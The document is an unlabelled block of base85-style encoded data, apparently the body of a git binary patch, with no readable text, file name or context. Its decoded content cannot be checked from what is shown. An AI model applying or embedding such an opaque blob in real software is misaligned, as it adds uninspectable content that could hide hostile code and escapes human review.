zFSUu%ROYC8&d%Js5Z0e~zbE%=xL=2#>w#PN)BgnYR;5#Z5gGx%zt#g^c+g_a!Rc#u~n4V z<&@GYO6YP*=yFQsCzQOcl(1ctt}03wnr*lj;`R;qZOjBxIw%!I!ZXU5|2f;w1Es>(=J z8TD>2^=>!yu7VVnQRnuM$_><^a_Wt0>-Lb!GE%vox}w^>J*2jbx>7-1si1DCc5n}M zqnvuNi+WK82R2aNE8svG94LbWWt8)B%5ym!D1!rKaG;DbTTXc`r@WR^Udw$uXghZ@ z`t_jsz-k5MRJEgfD39foyK>50Ips~Yt9vMKs%_mvIonMc+fDh}P1&lTT$NL%$|+Cf zaH@>5R6#i^hg)TEs|;?H!L2gNM>%DqoN}Ss=RK4Q)kg23T$EED%Kb0EuW#6e5M~{y zf_0z@)`2Qm2daRpMR2tUj&5a5sDd@23f6=wwD|zzOxA=d;Bpb?_l8*;s({;DIm;!? z8c~IDj;s$=us&45`cMVAP{bNhg^|F0F!UX0NZtiq+X@yL4{0%DJpUi#*$nP{$9RD| z8Vcl45o<~ntSMEnrc}Y2QUy6x#JW-iIaDOA*;ekVMf;w63HNf|tpKVht3ML2pHkl$ zN3<~OP!;6dRx>TN*R=SLW{K$qd_Wk8pxto`W8zYPu~^z3EzDX~1#49mtW{M=>()3` zM2;7c<3;3n5$jhKtY1}Fq|F)(3F|*T*1#%Q z1FK*Stb#SL3ST3jG0+5P3UmdKO?-@9D4j)=<=@5v6l0rE{wftqb2j2?y;BO6peM zx6ozK+o5-+wmNBOo)A9kWfhd#B1-F4hy13*7C9YoyAZetw@Yxl6hK>qwX_P>(kfU> ztB@8kf!`rKgGUZLa^R6O0vHL50!9P(1Np!hU@S0$cV_~W3D)2$Sc9uz4X%PUxC&<; zKzU>hu7WkV3a0>AK^#^BtAN#fPqngZxo_tGZo)$|$4O~nmouzfALC182{#=&6M$c= z*;Tk`*|?Nrm%89m7ux!s#Mbx??YF!bvY^(o4 zE$k;P{)d6t{C|P^^e3$$ZPj_SQ;bCF#uU}mrajc6YHG_KBSHT=n7bM;+y%|ZhjwcZ zwPC;X^BbU5pZ*Q^a-OTc`$yWSpMWE@&Za8i+`T|JRYQs0Ly6r(iQPjf+)wGLrWEX< z6zriC?4cA?Qwpld`D${!nl?)HsnxVm`^fD*(w8>l|9SL(7jakpq3R1+W2ar(N4vBS z&R4_vYB*mF=l8(zYB;k8&g_9Rd*I9-II|zl?3aE@^-=4Xt(pzI!0ariQE_fpZEIe} z{^=lXj~Y>x(Z+<}Od0JTEeX<=gpB>%f8@QN zfFoM4t_LWm9SPEoglI>Cv?C$fks$3zh_)j{dr@jprjF|&61Wcrh62NY;lMQ3u|Ly7 zv;iU7fDmm!h&CWZ8xW!m2$5T5)b$W`Jw#m({i1hKqoFeDZiw6~quz$d!7|?tzTQs;AL{)Y~%ZZHSyyqZ>vxxLv~kOM#xyx8VO)fcXLHY^jr=z6{|R@ukj& zsIwvJY=}A=qRxh>vmxqih&mgh&W5P7AxeT8@u<;`8tJIssgydXdMNgu@I0l3sDB~q zU5I)YqP~Sr&~vF#4I>&Y=zapMV+8Y{7NRbNs7oPAO&O)8OteS0QHM$?EhUteZIqM} zO2{_qP$?y3n{kJ%o0n3LN~uTNjq%KuppQyDDy0N$qaKx#``f5TrA7tr`?()Um6F3H z)S*(-#=e=CyN`RAdxTk$(^A{0Pur+Z+sK^~a%3BIX&ZHE8+ECK98v4&Y7M=Fx>QO| zlu(zplMCCZOQqz3T0<|P9+gs$N~uTNsYlzXN890E3EV4zdnIsh8(b@aJKLy7+o(s| zs7KqVKc)2LrEo>9gO|XG5>6sGj}t2|5H1wMfnqpN0tbrW!1uHyC2*ibIPehn@r>(c z0BfN);D^}4g<`l+0v9UbLJ3?@94LVUm2jX04phQ{5;(vPg;X&dD24;Yq`sKc7nAy8 zQhPL|#iUfFP-zF09GAk?sbW%8Op1z0Q86hhCPgKrs6;!BR8*3e`^d{m@^T+3sU#I@ z6w2NT`En&+uH?&=@O~d(ujK2Me7zFh?}PXI;Qc;$zYo5v_Nx+p?}Oi}joJrq_rcqJ z@U{}(?jt6Z#H5m#R1%X)c)Aas?t`cMw5wQMuR_wRLei^ZWLb@LSH)_16;fT5F$Pex zf@5j5$3Z^=JPJ$z{t8Uw*(C0hfyaTVz%+oldB)fK8C&l`a;swWS&h_I#ptsNiLDBW zt%?z7H4<7C5?U1!8v7i98rGRSsVbzgDx@)XD>D9Ood`**3Ms1!39AYTs|pFL$~p|N z7J`ITg>+SgR8@skRfSYlg;Z7Lt743u4rBtXksujWAsJO60aYOZRWbUkX5?9oq*H~Y zQ^g8x6|1CGPC2lPu{YmGN~uChsX|JrLQ1JZN~uChsbZvA%_y^)^D>TUp4A|2)F5fp zz?J=^UTL4zkYXiC)cgxAv>Knm44Dbs3Dl%&kRWQ1AZm~xYLMINYoXO3P1GPw)F4gN zAWhUDP1GPw)F4gNAW769In*FI)F3(3AUQC{M*ombY@ucM_6xah1-@s5j}%GU zy^Hp57i|~wF27oJME74)E03&RF`HYv+DQL-!j;COD~s$E_|=NyLfqZ}{>7>yv$WOB z(#k#|tNtD#wJ+#lfV~+fT3uvTw$i>HxH+|*8QDtvPJq1|%)C}I^ICbr)yE%kKLq>) z90rb1r(DJZ0pPz~dAx*oF9p<|9OB4qYNe0856q@kGMie-Y-%O5r>FYB zw9?0Z5oS*-nLVv!_Oz1O(@JJfE15m5^z9-Z>;qwTv{F_o+2bIql?^DVYE|-lK&?pD zUyZyGKWasi_JJAC-(HD)8h_6KC*I3)Y?TroGUHjzEN3ONoV6>C$M%~XTX{UXzvLX+ zmiqfiI`IF0x)M2=ckAyX`K?vQf3+Xv=zfp?&1xfg#LQ)-zX&L$&AyzqkbvxO?@Ddx z#*T(dfy;o)aleAQ(p2ir{n&a)0X3*VdkfeCu)~2hvI5q~3Roj6V2!N6s9g^!K&R^! z)aE1)f&PrvpWYi9+lofXi(y;iGDL|uP_`n?FZ#jK$$;r&B$+DU-5lK^Wc0oG0e?BJ`eTR$nFW{P$Z zHS?HOk!tlbq@#N+??x=IE51dQgr zJAg`n5xtih3TTngg2K(jXuE5z(ZPlWaeyQvkhxCeq!_kCnc&FWgCmQF98Z^OTXg2m1p1MuYzYk z@c*FZH#v8Wm~JDc*~r7$#56l?h~_7@KUj}(e;jxjSO@Tqw+g5R_5kcs@b1(6J{O<| z@r8g05CbxREFcFs2{;)z1vnKr4LBXx#abwS9sD^B)Ve5eKF|s14)g%72L22rQa?Di zbAJSQ6!-9?^*!ybBT{jeB90eymxy6@ZN== z?hQa+pdZj57yt|eSc7+Sfx*C+0K9a`ANOm3JaWGUz5}*uem`OQF9*m||CIpg@LvUx z7C&k6j{@!mMg#W&_X7_A`Q&x;y4AO8wfe@`n;8+L2qmqcLrCwqk1@DfeXAB}qk{i6 zs*IsO%bo&yKUs-m41R0{?%1lE(hU3Ms#~qZ@Sm-^iG;vde7~%;VJV6+0a}$v0-HUz z0Jj2zfZJ$)ngeG6E%Bp#*5Fgg3^n+y!DkIVYw)RLf*O3*;IoDkajxW4gC4-uK(AE3 z)+aTYlX6_`HU95UO=j$n&-fspQ#c!Ynrn?YEwgc2e_&`TADxJN`t*Fu16Tkj@mj69 z-^Bf1;9=-TQu%g^)MWb2d`8XrjGFTqHRm&G&Zn=-XY`xT=r`YYO=`05THre1df-N2 zAMU(I-;(b%OiiXw$frNZr@hW+^qJ4-GoSVLeAe6ZS#QsGUIJbNc4&=hlk;7#)|fUp zpEdP-+S`2A(evH2aXW|mAAxg$^MDQjCn&l@0ZzAdIdj+@0gMDj0r|ifU^4!u08@c! zz?{@%cP=mwm=7!f{-HId?aXIwJl~%QWC7Vg4$uYo6Fm0Pax6u@`yA=^Yg&pPv=Gm* zVpMG$W=_(B?UR^&6?z|6qc_qswa4y-O%GOQY*v-+iNGYDO=g8;2Kz=?weWq8u1lYgjPyudkC$P(6$rWc0$`uXxj;`l+d;lS}CDzC$v3;R!V54 zgjPyurG!>WXxj;`loL{GbAOPPhKEwG8jR+Q zCs<*4igndzaC?LGqmR&uXNJT0oc~_{gw3kN7UMwbJyT=#!PFw?^FPEo8~b53AG4Jo z!n4oe)p}+g%b9iD%1mP+GmSf$gPH};3Ry?LE_J)sH#Jcka^!vOzT|z{nB+3;kqjQj|f8I*_6uu}qMvOG%ZVm|kdMT|Ic7T+)5a8XKg9iTYCAsu0WV%++|B$h zXDzaW2P=;IwE?tKB}m-{Z>m~ez`ozUsSil$N2F>IDfogX?+_-Z_QLzcsWpT|VHhBIBvdOK)?pfrLgmFdc zE_OupgXb^8^AIsEf#)%q4`dxx~WL)zX!9;@9u9U(=< zYOgd;zvAgvJpD?ZhL}h7^R$wu!8&f0^K`qGMM^i3(rR=>ccG~mA%#Vxu$&Z@lEU4r z=0!=}c2e{OG5vyA{)1RIdB z>pOX_<|uX%H)KY>UL$&NoJxSU9b*)7TfOHaE=n(N3E$oU_p0IC9^z05SJb@HPANHA zTGP~r8gp2DWvlifF+P{CwWEgBre+N(h*1kaB9yhf{T#LMYEp48saQ)Yz9kiVsgZY6 zBiB++uOj4$l%LOtC2a(6t&s0ff~e1ZQ#*K8O*?ppmceK$gV0I{t(4G82xS|g6sx)A zkkmp-<7bq{S(L^PD2*#f(FWsu zcu>1<=VRkSxONeF(wTht6Dt{AX_GJI|K-BtE#%v3&*0QQ;PpCEu?}8;#yPmx^W8C| zU-A25)=aw+>pN2O;P6_?+BR}y3~f^z>TX+jeKFs=ga4ybMWm;QGo4lW@sRq}PM*256ahVfUBZ*T6v)XgII>z_sU-T%If>TFn?vY>6b^lYP$N8$~iCEPA z@bgbfk^EBI;or|c_C@ha%}8;g$j^>H6XYxBtt-sECbd3Qm3kmGTOO;kp81g?Ej2#1 zD)lbA&sNhqDYutXkEK3Ql=`t_;a5NP*3lnjr0$ohOpW}R{@L}Y%YS!IP5&+bwfsmi zhg<8D7FVORo#1yYhQEGzl&kfh)KA@U?(fzA_n*+UoUiqHEY#E<%3$4(a`hkmXxUHr z`|bB@->m)mu{fL{u+UMr)EB8IkJ2Z;A79pvmD3aZ{tf0dezJ-2nKowOzqEt+~I^>M0Laz4Np7ZPoibf9s_a=XLFSsrMy}6((Q}L|5dwF*Q>IAM!(Ch3wa|**z1nH`%9{R z-lbL@eVW=NZ43L=Q*Wg<(n?8ROi0-C`d7cyDaW3qzCK3Rr~dmkxBlC|rfG|R?(u*9 zwAKZggI{eKICrWCG}qF9Ps6-j;R)WXBaQoTw3aPDYRN^U&oe>`lY3&;2uhjg0?wYlV5Ux!sTlDC+nx)YT{{tBep& z@KZa7u479orPOmMM-u*Le(QIsdKh1n1*VZ~ot&-8``N^kz@4 z=MK-%0&Hw5o=OO>&vz-4=pX2A?NT3Pk;`(q5st>(4GIqIncfSubu?`mixB*j{C0r-oH5$ zdOfE?Z{S?$jsMS|3~dl`c*v|`3vStiWJx=|aR{*fz-)0odgereC;aANfN*hcEWbrSlz7tk+vu>ZYgaO6?@IYfA z_*Uaqo(?hwG5dI%aT_!}tk#$wb|^Ed!_j6w4XaPA(O~y!Gp`NnGfAp=TMhz%QWdY+yqH`VUF=J3;px}dyi3R4g0gVOnLE6-AD!r^QG>O+ zbnGv9wJ0_ie9)L+f_6>pVq%ZM&pJTB3}{~LG6b3DZ(ugiTN`kSxZ2P3;J}_#+)ZpkX52m29!z-Mc#H9pU=usVk=iJNdwu!qFJ zro>=ehFC*1hY`t8tsxdB?$mr(nHUCrmvtBP-PYaU5!MKNj{;Nej!ZO7~=)YN%A}mx)Bjl&7rwH>I>ls|0vz`OL zYrRXXKCwR0V%BHYXIdj{S8xUk)+>5xO|f3VY%vxr`f8_R#p2J}$ylYnHbPy@5=|L;EzZ_n`Nn=E26r5zSQgEi@k%Eyl+p}lC&8(6*YL1P?Di}~0~&MEeOpC3Aa&Os*QrXX|(-GfZVPhsc? zItZDJqoUX!O!uX0X}%1!5xiK-$b`;9E5VD^jBMx}v=h8o&u9RB5?TsgtY|cZJ{fHV zFSay(r+KiFc8=y?DeaHw7@g}oSIfp?+IisfedmKO@Ld4zwb zCB92YV>cgm>ae$QDfDGNtYKnz<8tULeOGE3*x$Gce6{ata9_?s4`6MrAGp7-KX`y| z0AC;I8weic8wAev<$@Ew1bDD-Fn9th^y5gzwFiObWRs~p0<$86{~eQ#-?R2bsaP~1aK33!ZpX^~Uu>7_ej(z3(igazk&VV2LZ{Onno$ouX5q99V^0dfT z#22^uw!uSA^22AjuUyN*CR_z++>T`eKepj^V6R{&77F}6w4LGMJ|C-mSO=*gML+s} zgg)#$OlU`ZN38I|vKN9rmWN#vr(s1dO*610XK9VFCTHWv>v**^?8#v@5{q&{ zEeor1AuWbwxiA`F5%yO^9WKqnvPewxVqGLdGqEtj=@3p9S}DrbNVev~-bfDTnm0g4 z#f#mMle7ld9yt~FCfHIq2@7>i!DnDk;Up~8HACm*Om_VHluZ&X2dgA4!L6KDng`n? z^hDSvY0VeUaagm&PRSn$^E_-YG{jy>d)~UxxsVukays$#i=2xHtuuOQK5UqDA+~>V z{zObJVF!qTHIr_Hb16GP46K@527RS-C1G|)cgCwMoPc|>ML#K30C-OwZ0d17EYp@!$%lT>c@TOGJ5>y9tvm!hmK`ewHdh{o9_NfBy^o+1 zP65?vxMHd|)ErKg>z;nGZJCiFATGtkdE&q6=vVEGhVF0-JYcb0RV30+lc%u47FIg!DK zEtpl%oRb5+nv?Yd*o9d~ss0p8sSU(Zss|e}h3J=TbT;C?$=O6**o^HCKNe$l!=);x z3NGz+SkuFH47JJG@9gJ`2b=@ogU&(lA?FbIuyYukVyBORg&9q=uri}Vb3uDtkLIQ6 z^+&+4Fw1)6{sagjmTg%@*Ung?q%>AaiaX7Fw%JBAD_(_}$syR^Dk zsG+^ZLQP{rIMqFs5SqA6pigs8gFf9oUCY2~&F{c1*=b~8yXN=2+sbXlTdiG2aoDjr z2cKO?TX{a<78!;r4*O+PxaOr`r?y8uuFf_d;7N6PbunA{KJ417Gi6 z55Cd85&UQO&)}Qfn}}zBw?7=a*}WNh0D5FzEa=<2Pe4y~r$RsJ zJ_$X|od*4s`;?aDPIsrnhrhdjho0dwp2u>}O!DYi_gU~PcNTcII~)9}`>Gben$K(C z*WK5_Z@O=S-*Vs59Avt;!SA^5fZuiB1;6LM2Yw%0GYzr*vx5Bk0Gl%nu>rIa`a^8b zoP;f)kHD+hT^7YA&>Ac+e8MiXD7JytLa)OvjUO99pW^>B_cKc4dYApV$cCRoZ*bY8 zi;P$Zz0qZ#F0$fgd=|Ool&;5ALKQE%cH`hN`%TiW4p5-#oYJCoRK9`{_;xf>2eG8YxTm~{9r@dgY zd=()p*)N35w}q#idkQY$(zP92rna9esMT_KzoH``i>M(ZsqQHL%Y1`3z$QZ#|8~XkrH)u8PEH8Lt|z*2#??ksD90lN(<* zUdR1S<4y1)bb)o_E#ocdw~e>KOVA9~jg?qTH;r5e>&Ho$-(Ww<#kTr)NU&Rtt;D~aJ-FFoVZDK|!ywm;oyJb^ZeurC$)aX`S=9Ie zJ!IWD!YXzwkr+2x3t}9yODU6L~4peieQQSX^Q-b^ojiG5&6>)`BT{_ zWV9;sr^hChYHT$|W;@L~4Vh3$q^{M>q9lt%>RPR=R?tcoHAEKmh%9P|6lz&{ zRvr?dl0_}+cI$TNJFGjvN+PvHBDF;#wL~Jdt>M;i+?8BvTVpLoRMx}R!^BX@qK3$# z9&3^{3HmX#z;$b~H5vMGw83?eKToz^Mk`#mUa=Mst98~o=xx?E{QQ8HxNiMqA>G+g zI|^=r4f~*d6}x3J?H+ayt)YFjeKiv4H8y>!NT)gWwf41I6KpJAr+GzE_1ZVvH$y8K zH6SvoS7g+HJ(N?*a>Vkz*B;JEWjXdpdn92#YCj5|i0qmpHt)UmB+f3&v>&q{!+o+n z8TV=SG{St%ehsW7+W?a72DC;u+DeXH?Om;%Dl)AlGOZ!ftnn*p)<&A$hm@=2SX1O! zk2mSlkxY(BvzAD+wn($eb|dY&NVAqmv$jaHhDfuzNVA4Wv${yLhDfuzNVA4Wv$`*a zPQ5O2tS%C)F0!jGQmZcVs*aWKM#x>Kpk=RP@4GSdsc75lSpIGTeHvQ#IyS)RXMCrl zeXomTdz#3urpT_Q$gZZyu7=329+6!QkzG9^yBZ?9daw@O6Y239-!({sy?ni(uk~FE z-P_k2`a0ir(0zP;ps)8a?|>EY8=!CW-3YCuTvw!ASEO9GPRhN-#|WuT*1gro2&qou zz0Jo6sZQ>V`{K~G(r=zG54u(czTI~_w339g{;eb&swWAD>Pf;OteD>mXOs*a@IB%~ zq7X^g>zn5LJ97#%I7cp1q~d_@S>N+Ko#%T6tmI*@Z>8@et%*p*IlfPP>+%1&?{g&N z4V)5}DRQzU60%WGLbmFpVkHk7Cy;@6`F4>xla5rN$`mf|(UF2TV zY3MZM%z?&EW8OL@180d0oFy`F)~{sX43U8|L{(99=1dtwnY-wMH1GJlZ3BxuH%c>JJ*AiRBVV; z?7_NxU+6!x-$X}3z6n}M$R3f68`qPK8`qPK8`sIkaVM^w;v}2|vk!xv!GwG}`&D$2 znJtl-ZIPKRk(q6gnJtl-ZIPKRk(q6gnJtl-ZIPKRk(q6gnJtl-ZIPKRk(q6gnJtl- zZIPKRk(q6gnJtl-ZIPKRk(q6gmUWSnb&-&Dk&Shcigl5Pb&-U1k%4uQfen#?Jt6}e zA_IFw1~xWMD&NV2?A;nFnuQX0ML!%y$?QI?Uu5oJkZmp#KgYyG)t-SrC^CNVv)cuq56LhWYeZ)Beon)_)E^@dfa=0yW zxFvG9EpoW+TI^-gMH)9m8uy4aj;5~C)nz3x#8V}Qn<9r>B8S@|hg%|t+is4VgP)Vw z2c?S~ZipQ25jortIo#u(>7I#Pbe4M-Sjpj*$lE>g7a=DB%~6IFSwj_<<4>EaLUPx?u*cK-MP>&xi3M_bLT<7 z?7j>=-<=Qriu(%m0(Swll8s%Fja`wAU6GC5I@x%!yBKcQO2|vxCD65U@=|vxbgi_! z%v}auD>E;5mqRPb`Q&<%^U3uj=PZ$&v;IrTIaE(_4%L&KLv@n#7w#9x|6j7-O&6Kj z<8SQ$9rCb}mOcKi{!5@QW4D{`ALY*nKj{|ryDlZ(u(EeaRJ%KEMB0F-Y@cx&EjeuIo2z*U9SW5|M}B zF*+I@wWYEm`mWL0=&UW1bJA zELv%NfGoNjIrA&6+9)=PwY{=>xzG5K9Vz>bpV*U9W2B6fb^s~S)P6A2%rxzg`Frz1 z?I-hMvy1LGFEKCIgXUG{4SLL+Vb0Z0G3S{t>n+Sz%un=|*q3jqUuk!@2k2MZgX}^2 zASFfUw;?}_(sS+m?ECaQ`vLm_eX#wI{g8gU{jmLrK19h9`knR^dx}2Ho@!6k?^05P zKHQ#b&(-g?U$$S?N7%2}ujqeKw&3-V_IGx%KHA=GAJHH5zUnQ|ANRiLU7|nfUE^z| zKh2nXi{bHo~=Aix|jIRF{}I? z{C9e=+u(mSElPb`me!Rz_HEh~{;mG9w88!g|Ms-u{z`vk+6e!yK%=z3uokZwOMw*# zuU%00YXyzgEUV0#u@OMWI;{iu?|>5gtml7c=p6u>i^c)qa4jIkBOn1mfE^30Bx`14 z;0&Mz&>BF?*6axIE%P#<2Y|++*%v^s(98vf0K)-v4n5D%H|2Ly?SFZ1 zD)bCsR-M~i?&_Td$HEeS>OBQZfaSHcghw8UJMoeKhxor4fbX7SpaM|eS7GujO#>{z z4@7}%pb^j%Xb!ZhgSOl|0G%~GIU>ygUn96{8f*Q@JFG_FmY(_Gi_#bwCC?*tJ=r0R z)qmV)fm;ZEN1nDKJ$f?7(+Zp>xUJx=o+?~Md6*$jHuf-InCzGK9(~L-^(`$XU+f|H z_ku4Fe2!-^J}>ZW*YqPt(3jAY-8@C$>pb*K$$LE4fPe2P;ORaOG6ymF5PYF$3iw*V zO$A>hc!=Oj<=rKMZ%Jd~Gx?n0rsC2@{G8^w2>0_;9FF`bF_|px3k8o6+(Yoyf}auG zL2#DB+5n;ZP~!DuE1~^@GfifC;G2r!?*#|VPocXAeX`&tf(O?kSmXA2%EI4-!I;1+@#Dtu&*#M~B_ zPJ(X~e5T;$g8v}6m%=GaVf}q^$y3<4PTYmVM{47ImOPD9cJ<^X!tGtc?TcB8emT!d zjE|3tPsxksMdNc40~15zed7i3W$`ufO?i!YHauPy-y2URJc)3kVWLT5Orm9;Kb{|- z7@wY(9e*}HKhZvJ#B<||<16Fq<6H8Y#*5;k;ydF96P*w~xnVuJF$Z_6qiQSA@Lo$7)5z-577jNbkG6Y~pm#Es4*M&v$pY)$W13 zrtV?)FoPv8W4$2bzy^svi~}3{&+zBRx5T&jTl5*=Z|(2sZwGYY+Je6x{@(t+{sCOM z{vrP1YJBJ)m%GD1G1$#N#Xmim&6>&_uKE4~|6<03D?_dQYy9h3Gugtpugt&Gzt?}z zpA2{cP9Pk}3^WWh2{a3|473TfiML4fN%TzgOC%B_5~FkHB__oO1QPM#xhrx%&HXaB zI^H<z6o8H z*c~ViR0MVh_6H6HwV)OB2cyC4V53CWVAI@bA#bpGuzRpo=(13cVB27aVCP`BVE0gK zxPC*Zb?CBSf388n!NFm{k-__eV}lcdlS9eiwBXF(cfr}AU~pb=VQ^7!X>djGhp4gu|IW#=6B(H5^YT}LD35i*Wio}e>hTO5CQHcei{Lr|> z+Qc`B;yf)hF*GGKJ@jm7PH29pAhbBIRcKj!aqj(z&55~r&GWkDbCH1*#NG%u2{#M3j4cnh3AYco&*%~Els-G$mFtRd&vbvr04{IF zsPz8fKGdd(>21UPGFrzrhX;le;i0kO@QCo}@aT-*;W6p+!sEFng{P)R(>G>68=jFp zJtN3Ox<9LJR)_Gc@Z9i%@EhSJ;pO2~@#*2U;SE{6vTn%gAKpxj&JKSQE)G|OcZc_f z5231Q#plH5NBog!BsqXW2dv$sTtM2AO5WtT)g9qC2B|qX%=xMw2lQ3N_)xj96x@VPaOSN$v!7 z#hN9i##+YO#M;L?<+Y7<&7B;(BGxn3C$T@)FR?r}5J<#^#zw?O$HpX<#Ky-aWpB!9 z5}O*EL9Rqq3rf2=CXrArEB{+cn_BR5dz$1~li2dute@L~(Ye#|nkF)1b7Kp*k4{XA zy%Ady-Ul(tH5o8BRJUV7*BZnQib=>sMbv!UtT z(|aX`sxp>-Lwf&s$9NZ2p3(=!+ocaqAC^8c{r>c^=@Zf?r%y|tnLayxo@#UAL(&(f zFG^pUz9RkOtfuLorf*FDGX1;slJp(v)#(T5C)5`YXADvI`jBB{cDwII0?y*){VDRj)GpWe&_tWDd<7kvTeZOy>B^NtshKXJpRGoSV5I^Nq|UnaeX* zWvYul1+BfdA=tNv#<$ZmYJO;LB1o5vvgjD#nR{FTRyMF?-6fFtev;KU>SAV;oR?sSPE2PWJqx>CP_5UaV4`y)1jB z#BGEc^CU)RugP97X&Qg*OOpQPd9CPOXXLe|&u>mI-HM){|Mc;1B&O2y(*LWmKz3R7 zrtB@*MTz~18QEotitL@)dzJshg1lDQ2l2Z>{BCBnu!_;ZhQ#JPEgNwuQGtqNII%w` zldEA)6V=|-)+M;dxAWTOG~;TS(5FW<9Uzo=dHZ!LAy2 z8-pygM$DGV#WwgxP@5N=Z`1xAlw4anqn#3WkOwpdx#Lrk2 zH;?czt&yV5b;{j*OrGWmen9YH6|(1ad3w6!PSjIF+)5NSuN3+np{H2LoyI?eenjw- z@^q-+x6_yb_5`d3ywzV^#*6=V(|X|Ytc2fQVm^l%2Hl)%-$H0bmZGn>Hs2RKUN|{l@OI&R8}YM4@NXj*AHnbr*af#634FIU)12)H%y-XL zwEmjl#>&M!Q{unYx}2w@B+NT(_-5wX_kbU;Sv%2dY*sz>eS#0!FX28@o<44)M{G`D zHwN*Sx9+fKLie|ckFnR92mZ*4^X_bmStb2>!SgIthBsQwgc+Z!r^Xtg{~`2O)~&dF z!tNH`_)6_)F(0&-K`&75=H2RB#&cFv=m+dKpkKCbgl=m;1OB6Z7cTFqw~XcDr;~Cg zeC219gtK1486xg0t**G=E@6Hk{-05)Gd9@Fd+EFEvEZkr&5f%xyJ z_-U*Z_bxWN+r(U@`XYNO^he_7T>EicZc+R}(Z?2~AABNtfzV7KGdGwTo+)2e8eyXpulUO}3U;l#*$BY@mlk+8pbJW*8cd0U9?zR%( z7wzr%S!}7Vm$55IH!7`%z*|*mgaem=4_F_A-<78ysHgfYMeENAeo?uYKIPx^$h$wt zyZhzc@8zv>asNVGzO}9*v?6ODc&9wwBTq}E{8U+rCo=@UDL&s4pNr(_a&g}+{eBQIt`N~3t&2wz(wRy4B z#~ngnZI8!guEOv~mH&6823>A38qud)zr$s*#XPPtRh11-PpPestGxDfQ?=E6MEN({ z+t1-=hH}>zSgm>5S^4ywDy8BA$^8Wi8y_nd@}2O_KiKC%KW#>7IcS=c$sG=5{{re@BB*H(!wY`>oXwdbaXIDN^Zu#2x_sk%aSvs(plW z7Vh`k4?@2s?pLXI%`4@t$>P!nT{;yjRpUm8`%D#@r@ee#X!BvIv%^)5Fv?Xe;EV9b z?B#WZ{sg+MY6oafRC&1AehGS=_;i#XeTlUi_m{i|?q%$0)6J)(=KfRa)I`-vFrtH3 zr05XzLGkmjr1b0BGN$5S>=5^H!rO0zt1~4I`>aL0`+&sZpVryXSKBH47l{9J?2*t< zNI1i!o|dY5s{f$cH~mHHdi=8*h@XwpdfYC4HVduWYK-BvM}b|*wUD?3?aSd(p766w zl>zfF($cPzw_2gOs2hi+4SCe29WYi)UJtidK(CRMz922hS3(cAhvB}}I-hXvl9-fP ze}+C^TB;Al{URxKYn8jcN4e8JP@+f$rIA#SBJ(kHC{@d*!g&(?NXAqWPAdujTyZ~F z!oNV=bH%+-+=qz!7vercTK>-@{<+f1eXUwK0+zaaxUN=Sod{U&>NjasSrdkNaS8Um+ZuEbbplXn&LPxkB;N zJX^}lkM?}h{EGFF$dU6^Y&{L6O`a(+-zc;ry+#T>RF#|R>#d}o1}xeQ^Gx*> z(~=S9S@KqEd8@hf8nS29IB3%b8a4La_&itA{;v2r+rELXA3$GLH-pmGYiP&nW;ZE~ z4_WPq&*dsibAtHqDk&N#-?~^*GzN`f)m{+}r4)Xe9i^_#RkcIkZ&lzj+nUGI`3jq9 zma2W|4};^XB$$I#JoS~zMSowl4Ek=xLwaG=*S{h8QXnlx8+$bVTidtc{;KpBuM1wH zT4Q~h&@W5NT%g)s+H-{i(i$&R*b`N`X(W{&^Hsqw$XjmZQ^&rAvbISKzQ`QnTAoMT!fJ!hduqF*z>Sf&};Fs;6>hSJGsBRUzK zL?@%OrgSnc7M+YPqLa~8bTTdxos3IGC*yK$FV~f#jnQ4SF?xtLMo;5BqrLW~(aGqf zy=7d9zQtnWPUBAPZA0xRSYkYEJgmJV`v#VxzrRF#SM(&_GqxEeXlAHg-XDmb#7fbV z_)s(?R*8nhYSEBbqckM6uat&__O;TG(2A6Xgtk*@NN7JQ4GHZh(U53h?XY&}jYLo4 z6#EYQ4!wOsH*r#{3 zYwQ~R3i}89Ai5Wa>_hrhq7~6Yv?6+mR>TcT6IuU|J+>qDRqROp+VHZ6beD0P(tb5Y z`u3tNagS(A+^aNRjnTfJe20zud`UDX9zb)#G#)}ov5c{5zo#+IanPlB1YL@lF~P}j z8W@w&T0O;>hQ8{V#tif-&M{t4ny1D*2fYg8W%Md8HWoTvoy&~Z*g<)G=Tx-08 zX6TK^yGrZRcu(nj8q1ZYr|~{|ovV!%&S&Uhoa87Cj7Df+d}TIvzD5tDiRfXRh8~7t zHg(g`#yAgcjPuQlly?LfhLFN+q6)0LbOA;MYKb7TDTy*EIKnfJKP{#7A%f5i%p3xjV=tgjtq@V zjVy>9idxY|(N@uU_#GMU7;YTy8y**499|jT6iyGH5#AY2kF<<*irybdgxf_%L}o+> zu`S6T9UN^N9Tx2z?&~xTr-$xG|F=bKN~9Coz3rTi;g0NCy$tQ!-k}wtkDb1u65i>+ zZqr<6NU#{4*HPgHPJU!4yErFChdEOM!N3{Lbo5H+IP(dyARG(_oyE>Fu9eOjXFb;@ zXNyx5NIGS~HqK6TE)P0MbRr!%oar`1d$F0@G8{xJvAx?#?elZ5P`mfgBJ78jV1j*h zBe+JpW6%VggkIkacCF0~7-;6b;VyBPyQ{d?vRiDk`;A*1Xy8_`H*CNEWA_l-u`Kc_ z>d*E!@;CK2_qX!5MX#nadDPwCJ-Q+~Haa=FC^W&}D>T`EgTKFjP;i8QaM%cYLu38J z{3HGM`^QE*_$LG!$6EL&lczJu(Ru!b{zd+!{uR-Y{*V2i`ZxN&^nd3s33$Wf0*(DU z{MG&g{=)$y;0-i@GwI;Qfit*T1X>5$1v&=01TG8o2=os04Gak628INN2Sx?*1LFb{ z15*Oi1J4HL1m*_{0_0&}Szu*gO&}RqAJ`Pw5-19k1$GAZ1`Y<2K@Xdv!@Ax9BUo@GyZr z9-INp3il1p4K4`25$Yam5nK{$9ZM(d4wTtVkp+~n3H7gVkLa|zYj#vFDZ@)C$6S#^ zwHGCLWc@4Ln{r%xrBjl*R4M-X($wZUu3=mgc&`q^EvNzYfEe|q4vqUIgqKl6>L9p0 zyfQj7yooxNeiVYMgl-UA8{7a_(u13W-^d+W)sxu7V1>F9r=`TH4ycnOg1dwJ)t%Zo zLqYIR2(yDBzoJ9YP+STFKRx+>`f19Vi!PggS@1hq?jXqo0O)MURF# zD%3x8L#TgrBjsrjFgRv}h8_Kiy2m<7xl?7Y3;8ikwOVjy9<_|tjQ<^^9V3|M3?3~r>d9EuUa9AjkE%os3-=983(fr5*HPcxPvoxL zLbF5jep$+n{+DNzuF%5RoY10>D)&E^nWMCFSFP=F@M&mc=*!S|s+_1c_&C@Rstz3p z9VR`htPtbK0@ZHO?(gJ(D>zd?+ooc!$~9j+QE3YYkET&-Ls@udY(Okmf%>mX_|fM_ 